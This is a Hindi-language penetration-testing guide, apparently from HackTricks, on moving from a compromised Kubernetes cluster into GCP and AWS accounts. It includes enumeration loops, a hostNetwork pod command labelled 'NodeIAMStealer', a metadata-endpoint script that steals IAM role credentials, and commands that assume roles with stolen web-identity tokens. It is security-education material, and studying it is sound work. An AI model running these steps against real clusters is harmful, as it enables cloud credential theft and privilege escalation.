Kubernetes Pivoting to Clouds

हैकट्रिक्स का समर्थन करें

GCP

यदि आप GCP में कुबरनेटीज़ क्लस्टर चला रहे हैं तो आपको संभावित रूप से चाहिए होगा कि क्लस्टर के अंदर चल रहे कुछ एप्लिकेशन को GCP तक पहुंच हो। इसे करने के 2 सामान्य तरीके हैं:

सीक्रेट के रूप में GCP-SA कुंजियाँ माउंट करना

कुबरनेटीज़ एप्लिकेशन को GCP तक पहुंच देने का एक सामान्य तरीका है:

  • एक GCP सर्विस अकाउंट बनाएं

  • उस पर वांछित अनुमतियाँ बाँधें

  • बनाए गए SA की जसन कुंजी डाउनलोड करें

  • इसे पॉड के अंदर एक सीक्रेट के रूप में माउंट करें

  • GOOGLE_APPLICATION_CREDENTIALS पर environment variable सेट करें जो जसन की पथ पर पॉइंट करता है।

इसलिए, एक हमलावर के रूप में, यदि आप किसी पॉड के अंदर कंटेनर को कंप्रोमाइज़ करते हैं, तो आपको उस env variable और GCP क्रेडेंशियल्स के साथ json फ़ाइलें की जाँच करनी चाहिए।

GSA json को KSA सीक्रेट से संबंधित करना

एक तरीका एक GSA को एक GKE क्लस्टर को एक्सेस देने के लिए उन्हें इस तरह से बाँधना है:

  • निम्नलिखित कमांड का उपयोग करके अपने GKE क्लस्टर के समान नेमस्पेस में एक कुबरनेटीज़ सर्विस अकाउंट बनाएं:

Copy codekubectl create serviceaccount <service-account-name>
  • एक Kubernetes सीक्रेट बनाएं जिसमें जीसीपी सेवा खाते के क्रेडेंशियल हों जिन्हें आप GKE क्लस्टर तक पहुंचने की अनुमति देना चाहते हैं। आप इसे gcloud कमांड-लाइन टूल का उपयोग करके कर सकते हैं, जैसा कि निम्नलिखित उदाहरण में दिखाया गया है:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • निम्नलिखित कमांड का उपयोग करके Kubernetes सीक्रेट को Kubernetes सेवा खाते से जोड़ें:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

दूसरे कदम में GSA के क्रेडेंशियल्स को KSA के रूप में गुप्त रूप से सेट किया गया था। फिर, अगर आप GKE क्लस्टर के अंदर से उस गुप्त सीक्रेट को पढ़ सकते हैं, तो आप उस GCP सेवा अकाउंट में उन्नति कर सकते हैं

GKE Workload Identity

Workload Identity के साथ, हम एक Kubernetes सेवा अकाउंट को एक Google सेवा अकाउंट के रूप में कॉन्फ़िगर कर सकते हैं। Kubernetes सेवा अकाउंट के साथ चल रहे पॉड्स जब Google Cloud APIs तक पहुंचने के लिए ऑथेंटिकेट होंगे तो वे स्वचालित रूप से Google सेवा अकाउंट के रूप में प्रमाणित होंगे।

इस व्यवहार को सक्षम करने के लिए पहली श्रृंखला के कदम हैं GCP में Workload Identity को सक्षम करना (कदम) और उस GCP SA बनाना जिसे आप chahiye k8s को अनुकरण करने के लिए।

  • एक नए क्लस्टर पर Workload Identity को सक्षम करें

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • नया नोडपूल बनाएं/अपडेट करें (ऑटोपायलट क्लस्टर्स को इसकी आवश्यकता नहीं है)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • GCP सेवा खाता बनाएं जिसे अनुकरण करने के लिए K8s से GCP अनुमतियाँ हों:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • क्लस्टर से कनेक्ट करें और उपयोग करने के लिए सर्विस अकाउंट बनाएं

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSA को KSA के साथ जोड़ें

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • KSA के साथ एक पॉड चलाएं और GSA तक पहुंच की जांच करें:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

निम्नलिखित कमांड की जाँच करें यदि आवश्यक हो:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

एक हमलावर के रूप में K8s के अंदर आपको iam.gke.io/gcp-service-account एनोटेशन के साथ SAs की खोज करनी चाहिए क्योंकि यह इसका संकेत देता है कि SA कुछ GCP में पहुंच सकता है। एक और विकल्प हो सकता है कि क्लस्टर में प्रत्येक KSA का दुरुपयोग करने का प्रयास करें और जांचें कि क्या इसका पहुंच है। GCP से हमेशा बाइंडिंग को गणना करना दिलचस्प होता है और जानना है कि क्या पहुंच आप K8s के अंदर SAs को दे रहे हैं

यह एक स्क्रिप्ट है जिससे सभी पॉड परिभाषाएँ आसानी से लूप करने के लिए खोज की जा सकती है जो उस एनोटेशन की तलाश में है:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam और Kube2IAM (Pods के लिए IAM भूमिका)

IAM Roles को Pods को देने का (पुराना) एक तरीका एक Kiam या एक Kube2IAM सर्वर का उपयोग करना है। मूल रूप से, आपको अपने क्लस्टर में एक डेमनसेट चलाने की आवश्यकता होगी जिसमें एक प्रिविलेज्ड IAM भूमिका होगी। यह डेमनसेट वह होगा जो उन पोड्स को IAM भूमिकाओं तक पहुंचाएगा जिन्हें इसकी आवश्यकता है।

सबसे पहले, आपको नेमस्पेस के अंदर पहुंचे जा सकने वाली भूमिकाओं को कॉन्फ़िगर करने की आवश्यकता है, और आप इसे नेमस्पेस ऑब्जेक्ट के अंदर एक एनोटेशन के साथ करते हैं:

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

एक बार नेमस्पेस IAM रोल्स के साथ कॉन्फ़िगर किया जाता है, तो पॉड्स में जो रोल हो सकता है, उसे आप हर पॉड पर चाहते हैं उसे इंडिकेट कर सकते हैं:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

एक हमलावर के रूप में, यदि आप पॉड या नेमस्पेस में या एक कियाम/क्यूबे2आईएम सर्वर चल रहा है (क्यूब-सिस्टम में संभावित रूप से) तो आप उन टिप्पणियों को खोज सकते हैं जिन्हें पॉड्स या नेमस्पेसेस या एक कियाम/क्यूबे2आईएम सर्वर द्वारा पहले से ही उपयोग किया जा रहा है रोल और अधिक (यदि आपके पास AWS खाते तक पहुंच है तो भूमिकाएँ गणना करें) का अनुकरण कर सकते हैं

IAM रोल के साथ पॉड बनाएं

इंडिकेट करने के लिए IAM रोल को उसी AWS खाते में होना चाहिए जैसे कियाम/क्यूबे2आईएम रोल और उस रोल को इसके तक पहुंच होनी चाहिए।

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM भूमिका के लिए K8s सेवा खातों के लिए OIDC

यह AWS द्वारा सिफारिशित तरीका है।

  1. सबसे पहले आपको क्लस्टर के लिए एक OIDC प्रदाता बनाने की आवश्यकता है।

  2. फिर आपको एक IAM भूमिका बनानी होगी जिसमें SA को आवश्यक अनुमतियाँ होंगी।

  3. IAM भूमिका और SA के बीच विश्वास संबंध बनाएं नाम (या नामस्थान जो भूमिका को नामस्थान के सभी SA का उपयोग करने की अनुमति देता है)। विश्वास संबंध मुख्य रूप से OIDC प्रदाता नाम, नामस्थान नाम और SA नाम की जांच करेगा

  4. अंत में, एक एसए के साथ एक एनोटेशन बनाएं जिसमें भूमिका का ARN निर्दिष्ट हो, और उस SA के साथ चल रहे पॉड्स को भूमिका के टोकन तक पहुंच मिलेगीटोकन एक फ़ाइल में लिखा जाता है और पथ AWS_WEB_IDENTITY_TOKEN_FILE में निर्दिष्ट किया गया है (डिफ़ॉल्ट: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

टोकन का उपयोग करके aws प्राप्त करने के लिए /var/run/secrets/eks.amazonaws.com/serviceaccount/token से निम्नलिखित को चलाएं:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

एक हमलावर के रूप में, यदि आप एक कुबरनेटीज़ (K8s) क्लस्टर की गणना कर सकते हैं, तो उस एनोटेशन के साथ सेवा खातों की जांच करें AWS में उन्नति के लिए। इसे करने के लिए, बस एक पॉड का उपयोग करके एक IAM विशेषाधिकार सेवा खातों में exec/create करें और टोकन चुरा लें।

इसके अतिरिक्त, यदि आप एक पॉड के अंदर हैं, तो AWS_ROLE_ARN और AWS_WEB_IDENTITY_TOKEN जैसे env variables की जांच करें।

कभी-कभी एक भूमिका की विश्वास नीति गलत रूप से कॉन्फ़िगर की जा सकती है और उम्मीदवार सेवा खातों को AssumeRole एक्सेस देने की बजाय, यह उन्हें सभी सेवा खातों को देती है। इसलिए, यदि आप नियंत्रित सेवा खाते पर एक एनोटेशन लिखने की सक्षमता रखते हैं, तो आप भूमिका तक पहुंच सकते हैं।

अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:

AWS - Federation Abuse

क्लस्टर में IAM भूमिकाओं के साथ पॉड और सेवा खातों का पता लगाएं

यह एक स्क्रिप्ट है जो सभी पॉड और सेवा खातों की परिभाषाएँ इटरेट करने के लिए है जो उस एनोटेशन की खोज कर रहा है:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

नोड IAM भूमिका

पिछला खंड IAM भूमिकाओं को पॉड्स के साथ कैसे चुरा सकते हैं के बारे में था, लेकिन ध्यान दें कि K8s क्लस्टर का एक नोड एक बादल के अंदर एक उदाहरण होने जा रहा है। इसका मतलब है कि नोड के पास एक नया IAM भूमिका होने की अधिक संभावना है जिसे आप चुरा सकते हैं (ध्यान दें कि सामान्य रूप से K8s क्लस्टर के सभी नोडों के पास एक ही IAM भूमिका होती है, इसलिए प्रत्येक नोड पर जांच करने के लिए योग्य नहीं हो सकता है।)

हालांकि, नोड से मेटाडेटा एंडपॉइंट तक पहुंचने की एक महत्वपूर्ण आवश्यकता है, आपको नोड में होना चाहिए (ssh सत्र?) या कम से कम वही नेटवर्क होना चाहिए:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM भूमिका टोकन चुराना

पहले हमने चर्चा की थी कि पॉड्स को IAM भूमिकाओं से जोड़ने या यहाँ तक कि नोड पर भागने के लिए IAM भूमिका चुराने वाले इंस्टेंस को कैसे किया जाए।

आप निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं अपनी नई मेहनत की IAM भूमिका क्रेडेंशियल्स चुराने के लिए:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

संदर्भ

हैकट्रिक्स का समर्थन करें

Last updated